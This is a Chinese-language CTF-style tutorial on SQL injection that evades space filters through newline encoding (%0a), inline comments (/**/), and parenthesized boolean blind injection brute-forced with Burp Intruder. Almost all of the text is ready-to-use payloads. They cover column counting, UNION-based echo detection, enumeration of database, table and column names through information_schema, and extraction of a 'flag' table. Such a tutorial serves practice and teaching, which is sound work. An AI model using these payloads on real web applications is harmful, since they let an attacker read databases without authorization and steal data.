一、换行符绕过
这里我们在admin’ 后面加上一个空格发现被过滤了:
这里我们使用%0a就正常回显了,说明我们绕过了:
id=admin%0aor%0a1=1%23
测速注入点,成功回显admin:
id=admin%0aorder%0aby%0a5%23
测一下列数,这里没有正常输出,说明没有5列:
我们改成三列,成功了,我们再改成四位发现也不对,那么这里就是三列:
猜测回显位
id=1%0aunion%0aselect%0a1,2,3%23
我们前面说过,再测回显位的时候要让前面的id等于数据库中不存在的值,我们改成1,回显了2,说明回显列在第二位,后面就是正常操作拿数据:
空格绕过里的%0b、%0c、%0d这些都是可以绕过的
拿数据库名
id=1%0aunion%0aselect%0a1,database(),3%23拿表名
id=1%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%23拿列名
id=1%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23拿数据
id=1%0aunion%0aselect%0a1,flag,3%0afrom%0aflag%23
二、注释符绕过
直接把上一步中的%0a换成/**/
拿库名
id=1/**/union/**/select/**/1,database(),3%23拿表名
id=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23拿列名
id=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'%23拿数据
id=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag%23
三、括号绕过
因为()是用在子查询上,我们不能用(union)来连接语句,所以这里需要用盲注的形式来查询:
猜库名
id=(1)and(if((ascii(substr((database()),1,1))=119),1,0))%23使用burp的Intruder模块进行爆破
猜表名
id=(1)and(if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='web')),1,1))=10),1,0))%23同样后面的步骤都使用Burp的模块进行爆破
猜列名
id=(1)and(if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),1,1))=102),1,0))%23猜数据
id=(1)and(if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0))%23
我们看一下例题,这里我们空格被过滤了:
我们用括号绕过,爆破完后是119,后面的操作也是类似: